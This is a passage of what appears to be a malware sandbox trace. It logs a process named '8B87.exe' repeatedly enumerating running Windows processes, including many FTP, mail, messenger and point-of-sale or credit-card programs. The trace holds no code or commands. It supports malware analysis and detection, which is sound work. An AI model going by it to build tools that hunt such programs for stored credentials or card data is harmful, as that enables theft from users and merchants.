th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0231.643] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0231.645] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0231.647] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0231.649] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0231.651] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0231.653] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0231.654] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0231.656] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0231.658] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0231.660] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0231.662] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0231.666] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0231.668] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0231.670] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0231.672] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0231.688] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0231.690] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0231.768] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0231.770] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0231.772] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0231.774] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0231.776] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0231.778] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0231.789] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0231.792] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0231.795] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0231.798] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0231.801] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0231.804] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0231.806] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0231.809] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0231.812] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0231.815] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0231.848] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0231.851] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0231.854] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0231.857] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0231.860] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0231.863] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0231.866] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0231.869] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0231.871] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0231.878] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0231.881] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0231.884] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0231.887] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0231.890] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0231.893] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0231.895] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0231.898] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0231.901] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0231.903] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0231.906] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0231.909] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0231.912] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0231.914] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0231.917] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0231.919] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0231.922] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0231.925] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0231.927] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0231.930] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0231.933] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.935] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0231.937] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0231.940] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.942] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0231.945] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0231.947] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0231.949] CloseHandle (hObject=0x2064) returned 1 [0231.949] Sleep (dwMilliseconds=0x64) [0231.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0232.009] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.011] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.013] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.015] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.018] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.020] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.022] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.025] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.027] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.030] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.032] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.034] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.036] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.039] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: 